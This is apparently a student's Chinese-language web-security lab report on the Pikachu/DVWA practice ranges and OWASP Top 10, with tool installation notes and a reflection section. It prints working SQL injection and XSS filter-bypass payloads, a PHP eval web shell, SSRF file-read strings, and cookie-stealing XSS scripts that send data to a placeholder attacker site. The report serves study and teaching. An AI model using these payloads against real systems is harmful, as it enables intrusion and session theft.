2.3 第 3 题 Web 安全
2.3.1 撰写安装报告
要求录屏
(1)Vmware;
首先找到.iso镜像


点击下一步我接受

下一步

下一步

下一步

下一步

点击升级等待完成安装
(2)kali-linux
克隆kali

等待安装

克隆成功
然后开始启动kali

输入账号密码

成功登录

(3)Phpsduty;
下载哪个都行

64位下载

等待下载

安装成功

双击进行安装


等待安装成功即可
(4)Pikachu/DVWA;
在github找到网址进行下载解压

之后完成数据库的初始化
就完成安装了就可以正常使用了
(5)Burp Suit 等实验环境的安装过程;
在网上找到

进行安装
再进行激活
(6)yakit
这个也可以
https://www.yaklang.io/products/download_and_install/#download
去官网下载

选择windows

进行下载
下载好后双击打开

下一步

选择好

点击安装点击完成

初始化引擎

点击立即重启
2.3.2 撰写渗透测试报告
必做内容:
(1)暴力破解+Burp Suit;
打开pikachu靶场
第一个基于表单的暴力破解

选择暴力破解
开启代理

点击login开始抓包准备暴力破解

找到包

开始暴力破解
发送到intruder爆破模块
加入爆破点

选择字典完成后

点击start attack

发现有不一样的

查看i相应包

登陆成功
第二个验证码绕过(在服务端)
随便输入进行抓包

可以发送到重放模块

点击发送

验证码错误
输入正确的验证码提示输入的密码用户名不对

由此断定验证码不刷新
那我们就可以开始爆破了发送到inturder模块
还是一样的操作发现有长度不一样的

双击进行打开

爆破成功
第三个验证码绕过(在客户端)
随便输入

点击 logiin
弹框出来

一看就是 js
索性咋们直接关闭js

发现验证码已经消失了
证明我们的猜想是正确的
进行抓包
发送到爆破模块


点击start attack
发现有不一样的

双击打开

登陆成功
点击第四关token防爆破

点击抓包
发送到重放模块

发现不出意外出现了token token是防爆破模块

所以发送到inturder模块
第一个正常选择一个字典
第二个咋们选择recursive grep

Token 这个只能并发一次


找到这个模块
点击add

搜索token
选中ok 复制

然后点击爆破 start attack
找到不一样的

双击进行打开
显示登录成功

(2)SQL 注入+Burp Suit;
砸门现在开始看sql 注入



咋们先看第一个
数字型输入post方式
咋们一看见就是根据id查询

查询名字跟邮箱地址

咋们进行抓包
发送到重放模块

咋们先试试修改id
因为是数字型所以咋们直接试试万能密码

查看源代码

没有做任何过滤
然后咋们看字符型注入 get方式

随便输入一串数字

所以我们可以构造sql语句
当我输入这个的时候

有语法错误并且数据库的版本是mysql

输入这个查询成功


查看源代码

看第三关探索性注入

首先输入

点击搜搜

看到中间有个% 就猜到'%num%'这样的格式
然后我们输入万能密码

全部查询出来

查看源代码进行模糊匹配

咋们看第四个 xx 型注入

输入这个

发线报错

''12312'')'
然后闭合 '123123'') 由这个可以看出这个加入了()
12312' 是我输入的
说明我需要加)闭合前那边语句
12312')
然后

输入

全部查出来
查看源代码

咋们看第五个insert/update注入

随便输入会提示登陆失败

点击注册按钮

随便输入

发送到重发模块

先了解一个小知识

输入以下

会显得数据库的版本不齐全
加了一下

数据库的版本完全回显出来
顺便看看数据库的名字

查看delete 注入

留言进行抓包

输入以下

看下一个http header注入


登陆成功

然后返回来抓包
如下

查询成功
布尔盲注直接用sqlmap跑

我们来看宽字节

进行抓包发送到重发模块了

查询成功

(3)Cross-Site Scripting(XSS);
来看xss

发现想输入但输入不进去了

所以我们修改前端代码f12

改成100

成功输入

存在xss漏洞

看反射型xss post方式


<script>alert(document.cookie)</script>

存储型xss


发现每次点击进来都会触发这个说明已经存储到数据库中的了
DOM型xss存储在页面标签上





Xss盲打

<script>alert("XSS")</script>

XSS盲打就是攻击者在进行XSS插入时不会在前端有回显,但是在后台可以看得到,当管理员进行后台登录时就会看到XSS的内容,如果存在这种漏洞危害性还是很大的,因为能直接盗取管理员的COOKIE拿到权限,但又十分隐蔽,只能进行尝试不能确保一定存在。
登陆到后台


xss过滤
大小写混淆过滤,<scRipt>alert(14)</sCript>
使用注释进行干扰: <sc<!--test--> ript> alert(14)</scr <--test--> ipt>
重写: <scri<script> pt> alert(14)</scri</script> pt>
使用img标签<img src=xss οnerrοr="alert(11)">

也可以输入这个
<img src=''οnerrοr='alert(1)'/>
正常

过滤了scipt

看xss之htmlspecialchars



xss之href输出

还是一样的
javascript:alert("XSS")
xss之js输出
tmac'</script><script>alert('xss')</script>

(4)RCE+SSRF+Unsafe Fileupload+Over permission
RCe


加上ipconfig

输入phpinfo()

file_put_contents('shell.php','<?php eval(@$_POST[0]);?>');
还可以用蚁剑链接
Ssrf






还可以输入url==file:///C:/windows/win.ini

使用php://filter/读php源代码
File=php://filter/read=convert.base64-encode/resource=ssrf_info/info2.php


客户端检测

服务端检测
修改mine 类型
第三个上传图片马
filename=../../unsafeupload/uploads/2024/12/06/6301276752e5d770f2a914828813.jpeg
实现水平越权
查看普通用户
超级用户
选择添加用户
复制url
http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin_edit.php
退出admin 重新登陆pikachu
输入网址
发现垂直越权
2.3.3 撰写软件安全分析报告
2013-2023 OWASP TOP10 的发展过程、理解、验证(POC)和利用(EXP)
必做内容:
(1)2013-2017 版 PHP ;
2013年版本:
注入(Injection)
失效的身份认证和会话管理(Broken Authentication and Session Management)
跨站脚本(Cross-Site Scripting, XSS)
不安全的直接对象引用(Insecure Direct Object References)
安全配置错误(Security Misconfiguration)
敏感数据泄露(Sensitive Data Exposure)
功能级访问控制缺失(Missing Function Level Access Control)
跨站请求伪造(Cross-Site Request Forgery, CSRF)
使用含有已知漏洞的组件(Using Components with Known Vulnerabilities)
未验证的重定向和转发(Unvalidated Redirects and Forwards)。
2017年版本:
注入(Injection)
失效的身份认证(Broken Authentication)
敏感数据泄露(Sensitive Data Exposure)
XML外部实体(XML External Entities, XXE)
失效的访问控制(Broken Access Control)
安全配置错误(Security Misconfiguration)
跨站脚本(Cross-Site Scripting, XSS)
不安全的反序列化(Insecure Deserialization)
使用含有已知漏洞的组件(Using Components with Known Vulnerabilities)
不足的日志记录和监控(Insufficient Logging & Monitoring)。
(2)验证(POC)和利用(EXP)的过程描述;
(3)案例详解;
- OWASP TOP 10 发展过程(2013 - 2017)
2013 版:
注入(Injection):包括 SQL、OS 和 LDAP 注入等。在 PHP 中,SQL 注入常见于用户输入未经过滤直接拼接到 SQL 语句中。例如:
php
复制
sql = "SELECT \* FROM users WHERE username = '_POST['username']' AND password = '$_POST['password']'";
这里如果用户输入包含 SQL 语句,就可能导致数据库信息泄露。
失效的身份认证和会话管理(Broken Authentication and Session Management):在 PHP 应用中,若会话 ID 没有妥善管理,如没有设置合适的超时时间或在传输过程中没有加密,可能导致用户会话被劫持。
跨站脚本攻击(XSS):当 PHP 应用没有对用户输入进行合适的过滤和转义,就会出现 XSS。例如:
php
复制
echo $_GET['message'];
如果message参数包含恶意脚本,就会在用户浏览器中执行。
2017 版:
注入:依然是重要威胁。PHP 开发中持续强调对用户输入进行严格的过滤和参数化查询来防止注入。
敏感信息泄露(Sensitive Data Exposure):PHP 应用可能会因为错误的配置(如 PHP 配置文件中的display_errors设置为On,导致错误信息泄露敏感数据)或者在数据传输和存储过程中没有加密而导致敏感信息暴露。
- 验证(POC)和利用 (EXP) 的过程描述
SQL 注入(以 PHP 为例)
POC(概念验证):
假设存在一个 PHP 登录页面,其 SQL 查询语句如上述存在漏洞的示例。我们可以尝试在用户名输入框中输入' or '1'='1,密码随意输入。此时形成的 SQL 语句为:
sql
复制
SELECT * FROM users WHERE username = '' or '1'='1' AND password = '[随意密码]'
由于'1'='1'条件恒成立,可能会绕过登录验证。
另一种常见的是在搜索框中进行测试。例如,在一个搜索产品的 PHP 页面中,如果搜索语句是SELECT * FROM products WHERE name LIKE '%[用户输入]%',我们可以输入%' or '1'='1,可能会返回所有产品信息。
EXP(利用):
一旦通过 POC 验证了 SQL 注入漏洞存在,攻击者可以进一步利用。例如,通过UNION SELECT语句获取更多数据库中的敏感信息:
sql
复制
SELECT * FROM users WHERE username = '' UNION SELECT username, password, null FROM users -- AND password = '[随意密码]'
这里--是 SQL 注释符,用于注释掉后面的原有密码验证部分,攻击者可能获取到所有用户的用户名和密码。
XSS(以 PHP 为例)
POC:
在一个 PHP 留言板系统中,当用户输入的留言内容直接显示在页面上时,我们可以在留言框中输入<script>alert('XSS');</script>。如果页面弹出提示框XSS,则说明存在 XSS 漏洞。
EXP:
攻击者可以利用 XSS 漏洞进行更恶意的操作。例如,将恶意脚本改为<script>document.location = 'http://攻击者网站.com/cookie.php?'+document.cookie;\</script>,当用户访问带有此恶意脚本的页面时,用户的 cookie 信息会被发送到攻击者网站,从而可能导致用户会话被劫持。
- 案例详解
案例:PHP 网站 SQL 注入导致数据泄露
场景:
某 PHP 开发的电商网站有一个商品搜索功能。其后台处理搜索请求的 PHP 代码如下:
php
复制
$search_term = $_GET['term'];
sql = "SELECT \* FROM products WHERE name LIKE '%search_term%'";
result = mysqli_query(conn, $sql);
while (row = mysqli_fetch_assoc(result)) {
// 显示产品信息
}
漏洞发现:
攻击者在搜索框中输入%' or '1'='1进行测试,发现返回了所有产品信息,初步判断存在 SQL 注入漏洞。
攻击过程:
攻击者进一步构造 SQL 语句来获取更多敏感信息,如%' UNION SELECT user, password, null FROM users --,这可能会获取到网站用户的登录信息(假设数据库中users表存储了用户信息)。
攻击者获取用户登录信息后,可能尝试登录用户账号,进行未授权的操作,如修改用户订单、查看用户隐私信息等。
防范措施:
使用参数化查询(Prepared Statements)来处理用户输入。例如:
php
复制
$stmt = $conn->prepare("SELECT * FROM products WHERE name LIKE CONCAT('%',?,'%')");
$stmt->bind_param("s", $search_term);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// 显示产品信息
}
对用户输入进行严格的过滤和验证,去除可能导致 SQL 注入的特殊字符。
案例:PHP 网站 XSS 攻击导致用户会话劫持
场景:
一个 PHP 论坛网站,用户发表的帖子内容会直接在页面上显示。其显示帖子内容的 PHP 代码如下:
php
复制
$post_content = $_POST['content'];
echo $post_content;
漏洞发现:
攻击者在发表帖子时输入<script>alert('XSS');</script>,发现页面弹出提示框,确定存在 XSS 漏洞。
攻击过程:
攻击者修改恶意脚本为<script>var xhr = new XMLHttpRequest();xhr.open('GET', 'http://攻击者网站.com/cookie.php?'+document.cookie, true);xhr.send();</script>。当其他用户访问包含此恶意帖子的页面时,用户的 cookie 会被发送到攻击者网站。
攻击者获取用户 cookie 后,可以伪造用户身份登录论坛,进行恶意操作,如发布垃圾广告、篡改其他用户帖子等。
防范措施:
对用户输入的内容进行 HTML 实体编码(HTML Entity Encoding),例如使用htmlentities()函数:
php
复制
post_content = htmlentities(_POST['content']);
echo $post_content;
设置合适的Content - Security - Policy(CSP)来限制页面加载外部脚本,防止恶意脚本执行。
总结与反思
以下是关于 pikachu、DVWA 靶场搭建,OWASP Top 10 漏洞实践,以及 Burp、Yakit 安装的总结与反思:
一、靶场搭建
Pikachu 靶场
搭建过程
环境准备:需要有 PHP 环境和 MySQL 数据库支持。通常使用集成环境如 XAMPP 或 WAMP 来简化配置。
下载与配置:从官方渠道获取 Pikachu 靶场代码,解压到网站根目录(例如 XAMPP 的htdocs目录)。然后配置数据库连接信息,通过访问安装页面完成数据库初始化。
问题与解决
数据库连接失败:这可能是由于配置文件中的数据库用户名、密码或主机地址填写错误。需要仔细检查config.inc.php文件中的数据库配置信息,并确保 MySQL 服务已正常启动。
权限不足:在 Linux 环境下,可能会遇到文件或目录权限不足的问题。需要对相关文件和目录赋予合适的读写权限,例如chmod -R 755 pikachu_directory。
DVWA 靶场
搭建过程
依赖安装:DVWA 依赖于 PHP 和 MySQL。同样可以使用集成环境。它还需要一些 PHP 扩展如gd、mysqli等。
配置与安装:下载 DVWA 代码后,将其放在网站根目录,然后重命名config/config.inc.php.dist为config/config.inc.php,并配置其中的数据库连接参数。通过浏览器访问安装页面进行初始化。
问题与解决
安全级别设置无效:如果在 DVWA 中设置的安全级别没有生效,可能是由于配置文件没有正确保存更改。确保对config.inc.php的修改被正确保存,并检查相关 PHP 错误日志以查找问题。
文件上传漏洞测试失败:这可能是由于服务器配置限制了文件上传类型或大小。需要检查 PHP 配置文件(php.ini)中的upload_max_filesize和post_max_size参数,并根据需要进行调整。
二、OWASP Top 10 漏洞实践
漏洞类型实践
注入类漏洞(SQL、命令等)
实践过程:在靶场环境中,通过在输入框中构造恶意 SQL 语句或命令来测试注入漏洞。例如在存在 SQL 注入漏洞的登录页面,输入' or '1'='1尝试绕过登录验证。
学习收获:深刻理解了未对用户输入进行严格过滤和参数化处理会导致数据库或系统被恶意操作。同时学会了如何使用预编译语句(如在 PHP 中使用PDO或mysqli_prepare)来防范 SQL 注入。
跨站脚本攻击(XSS)
实践过程:在留言板、搜索框等功能模块输入恶意脚本代码,如<script>alert('XSS');</script>来测试是否存在 XSS 漏洞。
学习收获:明白了对用户输入进行 HTML 编码和设置合适的Content - Security - Policy(CSP)可以有效防止 XSS 攻击。并且了解到 XSS 可以分为反射型、存储型和 DOM 型,每种类型的攻击方式和防范措施都有所不同。
问题与解决
漏洞利用失败:有时构造的漏洞利用语句可能由于靶场环境中的某些过滤机制而失败。这时需要仔细分析可能的过滤点,并尝试绕过这些过滤。例如,某些系统会对关键字进行过滤,这时可以尝试使用大小写混合、编码(如 URL 编码、十六进制编码)等方式绕过过滤。
误判漏洞类型:在实践过程中,可能会将一些漏洞误判为其他类型。例如,将存储型 XSS 误判为反射型 XSS。这需要仔细分析数据的存储和交互过程,查看数据是临时在请求中反射还是被持久化存储后再展示。
三、工具安装
Burp Suite
安装过程
下载与安装:从官方网站下载 Burp Suite 的安装包(有免费版和专业版,免费版功能有限但足以满足基本学习需求),按照安装向导进行安装。
配置与启动:安装完成后,需要配置 Java 环境(因为 Burp 是基于 Java 开发的),确保JAVA_HOME环境变量已正确设置。启动 Burp 后,可以进行代理设置等操作,使其能够拦截和分析 HTTP/HTTPS 流量。
问题与解决
无法启动:如果 Burp 无法启动,可能是由于 Java 环境配置问题。检查JAVA_HOME是否指向正确的 Java 安装目录,并且确保 Java 版本符合 Burp 的要求。
代理设置无效:在设置浏览器代理通过 Burp 进行流量拦截时,如果发现无法拦截到流量,需要检查浏览器代理设置是否正确,以及 Burp 中的代理监听端口是否被其他程序占用。
Yakit
安装过程
下载与安装:从官方渠道获取 Yakit 安装包,按照提示进行安装。Yakit 是一款国产的网络安全工具,集成了多种功能。
初始化与配置:安装完成后,首次启动可能需要进行一些初始化操作,如注册账号(部分功能可能需要登录使用),配置网络接口等。
问题与解决
功能异常:如果在使用 Yakit 的某些功能时出现异常,如漏洞扫描不准确等,可能是由于没有正确配置扫描参数或目标环境存在特殊情况。这时需要仔细查看工具的使用手册,调整扫描策略和参数。
与其他工具冲突:在同时运行多个网络安全工具时,Yakit 可能会与其他工具产生冲突,例如端口占用问题。需要合理安排工具的使用,避免端口冲突等情况。
四、总结与反思
知识与技能提升
通过靶场搭建和漏洞实践,深入掌握了 OWASP Top 10 漏洞的原理、攻击方式和防范措施。这对于提高网络安全意识和进行安全开发有很大帮助。
学会了如何使用 Burp 和 Yakit 等安全工具进行漏洞挖掘、分析和防范,这些工具在实际的网络安全工作中非常重要。
不足之处
在靶场搭建过程中,有时会忽略一些环境配置细节,导致搭建失败或出现漏洞利用不成功的情况。以后在进行类似操作时,需要更加仔细地阅读官方文档和注意环境配置要求。
在漏洞实践中,对于一些复杂的绕过技巧和新型漏洞变种的理解还不够深入,需要进一步学习和研究相关案例。
在工具使用方面,虽然能够基本操作 Burp 和 Yakit,但对于一些高级功能和优化使用技巧还不够熟练,需要通过更多的实践来提高。
改进措施
在进行任何技术操作前,详细列出步骤和检查点,确保操作过程的严谨性。
持续关注网络安全领域的最新动态,学习新出现的漏洞类型和攻击防御技术。
深入学习安全工具的高级功能,通过实际项目和模拟演练不断提高工具使用的熟练度。
参考文献
以下是一些关于 pikachu、DVWA 靶场搭建,OWASP Top 10 漏洞,Burp 和 Yakit 相关的参考文献:
一、靶场搭建
Pikachu 靶场
官方文档:Pikachu 靶场本身通常会有官方的搭建指南,可从其官方网站获取相关资料。
在线教程:许多网络安全学习网站都有关于 Pikachu 靶场搭建的教程,例如 "Freebuf"(https://www.freebuf.com/)、"安全客"(https://www.anquanke.com/)等网站上可能有相关文章。
DVWA 靶场
官方文档:DVWA 官方网站提供了详细的安装和配置文档,包括所需的 PHP 环境、数据库设置等。
书籍参考:《Web 安全深度剖析》这本书对 DVWA 靶场的搭建和漏洞原理有一定的讲解,可以作为参考。
二、OWASP Top 10 漏洞
官方报告
OWASP 官方网站:https://owasp.org/
OWASP 每年都会发布 Top 10 漏洞报告,这些报告详细阐述了各类漏洞的原理、影响和防范措施,是最权威的参考资料。
书籍
《OWASP Testing Guide》
这本书由 OWASP 组织编写,全面涵盖了 OWASP Top 10 漏洞的测试方法和实践案例,是学习和实践 OWASP 漏洞的重要参考。
《Web Hacking 101: Breaking Web Applications》
作者 Peter Yaworski 在书中对常见的 Web 应用程序漏洞进行了深入讲解,包括许多属于 OWASP Top 10 范畴的漏洞,书中有丰富的示例和案例分析。
三、Burp Suite
官方文档
PortSwigger 官方网站:https://portswigger.net/burp/documentation
Burp Suite 的开发者 PortSwigger 提供了全面的官方文档,包括工具的安装、配置、各个功能模块的使用方法等详细内容。
书籍
《Burp Suite Cookbook》
这本书专注于 Burp Suite 的使用,通过大量的实际操作案例和技巧,帮助读者深入掌握 Burp Suite 在网络安全测试中的应用。
四、Yakit
官方文档
Yakit 官方网站:https://yakit.org/
Yakit 官方网站上有工具的下载链接、安装指南和基本的使用说明,对于了解和使用 Yakit 有很大帮助。
在线教程和博客文章
在一些网络安全论坛和技术博客上可以找到关于 Yakit 使用经验分享和案例分析的文章,例如 "先知社区"(https://xz.aliyun.com/)等可能会有相关内容。
这些参考文献涵盖了从基础的靶场搭建到漏洞实践,再到相关安全工具使用的各个方面,能够为你的学习和研究提供全面的支持。